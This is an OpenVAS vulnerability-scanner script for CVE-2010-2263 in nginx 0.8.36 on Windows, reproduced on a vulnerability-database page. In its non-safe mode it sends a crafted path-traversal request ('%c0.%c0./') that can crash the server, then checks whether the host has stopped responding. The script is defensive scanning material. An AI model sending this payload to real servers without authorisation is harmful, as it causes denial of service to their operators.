Lucene search
K

nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities

🗓️ 14 Jun 2010 00:00:00Reported by This script is Copyright (C) 2010 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 44 Views

nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities. Vulnerability affects nginx 0.8.36 for Windows

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2263
11 Jun 201000:00
circl
CVE
CVE-2010-2263
14 Jun 201018:00
cve
Cvelist
CVE-2010-2263
14 Jun 201018:00
cvelist
Debian CVE
CVE-2010-2263
14 Jun 201018:00
debiancve
Metasploit
Nginx Source Code Disclosure/Download
17 Jun 201011:00
metasploit
Nginx
Vulnerabilities with Windows file default stream
14 Jun 201018:00
nginx
Tenable Nessus
nginx < 0.7.66 / 0.8.x < 0.8.40 Information Disclosure
9 Mar 201800:00
nessus
NVD
CVE-2010-2263
15 Jun 201014:04
nvd
OpenVAS
nginx <= 0.8.36 Remote Source Code Disclosure and DoS Vulnerabilities
14 Jun 201000:00
openvas
Packet Storm
Nginx Source Code Disclosure/Download
1 Sep 202400:00
packetstorm
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_nginx_40760.nasl 7552 2017-10-24 13:00:36Z cfischer $
#
# nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "nginx is prone to remote source-code-disclosure and denial of service
vulnerabilities.

An attacker can exploit these vulnerabilities to view the source code
of files in the context of the server process or cause denial-of-
service conditions.

nginx 0.8.36 for Windows is vulnerable; other versions may also
be affected.";


if (description)
{
 script_id(100676);
 script_version("$Revision: 7552 $");
 script_tag(name:"last_modification", value:"$Date: 2017-10-24 15:00:36 +0200 (Tue, 24 Oct 2017) $");
 script_tag(name:"creation_date", value:"2010-06-14 14:19:59 +0200 (Mon, 14 Jun 2010)");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_cve_id("CVE-2010-2263");
 script_bugtraq_id(40760);

 script_name("nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/40760");
 script_xref(name : "URL" , value : "http://nginx.org/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_MIXED_ATTACK);
 script_family("Denial of Service");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl", "nginx_detect.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("nginx/installed", "Host/runs_windows");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:8000);

banner = get_http_banner(port:port);
if(!banner || "nginx" >!< banner)exit(0);

if(safe_checks()) {

  version = eregmatch(pattern:"nginx/([0-9.]+)", string:banner);
  if(isnull(version[1]))exit(0);

  if(version_is_equal(version: version[1], test_version:"0.8.36")) {
    security_message(port:port);
    exit(0); 
  }  


} else {

  if(http_is_dead(port:port))exit(0);

  req = string("GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 HTTP/1.1\r\nHost: ",get_host_name(),"\r\n\r\n");

  soc = http_open_socket(port);
  if(!soc)exit(0);

  send(socket: soc, data: req);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }  
  http_close_socket(soc);
}  

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation